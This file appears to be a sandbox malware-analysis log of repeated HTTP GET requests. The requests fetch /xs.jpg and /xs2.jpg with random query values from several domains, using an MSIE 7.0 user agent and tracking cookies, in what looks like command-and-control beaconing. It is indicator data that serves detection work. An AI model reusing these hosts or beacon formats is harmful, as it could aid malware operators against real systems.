Source: global traffic HTTP traffic detected: GET /xs.jpg?14cdee4b=349040203 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159257|1720159209|4|11|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?15136c45=353594437 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159258|1720159210|4|11|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?15a06cb5=-666616046 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1616ff23=1482423436 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?16fa95a6=-439756676 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159261|1720159208|4|12|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?1763225c=-1155984672 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159263|1720159209|5|12|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?17b796b8=1591630560 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159264|1720159210|5|12|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?1810ba1e=-1468721454 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?189e6034=1652130000 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?196cfa85=-1308960349 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159266|1720159208|4|13|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?1a08d9e7=1747150748 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159267|1720159209|4|13|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1a62f99e=442694046 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159267|1720159210|4|13|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?1aa9008f=-1611267238 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1b587445=292850354 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1c7d0e18=-471306048 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159270|1720159208|4|14|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?1d1fe4cd=1465888359 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159270|1720159209|3|14|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1d74f53a=1976816872 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159271|1720159210|4|14|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?1eda9402=881444884 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?20477b5a=37477072 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?21e29ffa=821534666 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159275|1720159208|4|15|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?222ff603=1720705545 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159275|1720159209|4|15|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?2340b65a=-746306020 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159276|1720159210|4|15|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?23fa445e=1741073324 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?258061e0=109227296 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?278faa5f=-976333861 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159279|1720159208|4|16|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?28beeeaa=-1560560984 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159280|1720159209|4|16|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?29c644f8=1401719280 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159281|1720159210|4|16|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?2abb0eed=-1427358796 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?2be8bf39=-611599331 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?384fb301=-1031956472 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159283|1720159208|4|17|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?39c6efac=1103453368 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159284|1720159209|4|17|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3b304979=-645772344 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159284|1720159210|3|17|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?3bc3b77a=718443874 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?3d425ee3=659903995 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3fa90d2a=-22793048 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159287|1720159208|4|18|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?4108a95f=-1021707235 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159288|1720159209|4|18|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?42301d5c=1257280204 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159288|1720159210|3|18|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?43352d54=-912291844 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?449576d0=-1686058784 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?46b38069=1186168937 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159291|1720159208|4|19|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?535f3d04=-1497466360 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159292|1720159209|4|19|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?54aff5f2=-1518358640 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159292|1720159210|3|19|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?5640212f=1539369033 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?58390002=436273170 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?5b06aaf8=-1908232784 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159295|1720159208|4|20|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?5cf0e727=1559291687 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159296|1720159209|4|20|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?5e1194d3=879328498 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159296|1720159210|3|20|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?6a6910d4=-1448852656 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?71e23396=15978566 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?7bb4b600=1931354624 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159299|1720159208|4|21|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?80fcb0d0=-2031561296 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159300|1720159209|4|21|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?84b622e8=-2068438296 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159300|1720159210|3|21|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?873c5f9c=728382888 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?8ab49f65=-890217533 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?954ac704=-361372908 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159303|1720159208|4|22|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?9cb0bbcd=-1406900530 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159303|1720159209|3|22|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?a1720886=-1392358218 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159305|1720159210|4|22|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?a48d053f=-615637126 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?ac5b7b63=-1233100875 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?b96c587c=301362020 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159308|1720159208|4|23|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?be1cb312=978721078 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159309|1720159209|4|23|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?c0085b83=2190860 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159310|1720159210|4|23|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?c4838ba0=1300931296 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?c8ef12d5=599542612 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?da83e528=-1365045656 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159313|1720159208|4|24|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?dfb790c0=-37976576 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159314|1720159209|4|24|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?e4813b52=1065918270 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159315|1720159210|4|24|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?e8e7cd9a=1195273424 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?efa78aa1=-1645396026 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?fbcb7f39=-423298218 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159318|1720159208|4|25|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?30c6233=409145752 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159318|1720159209|4|25|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?a319847=342044814 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159320|1720159210|4|25|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?fd2ec80=1327406720 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
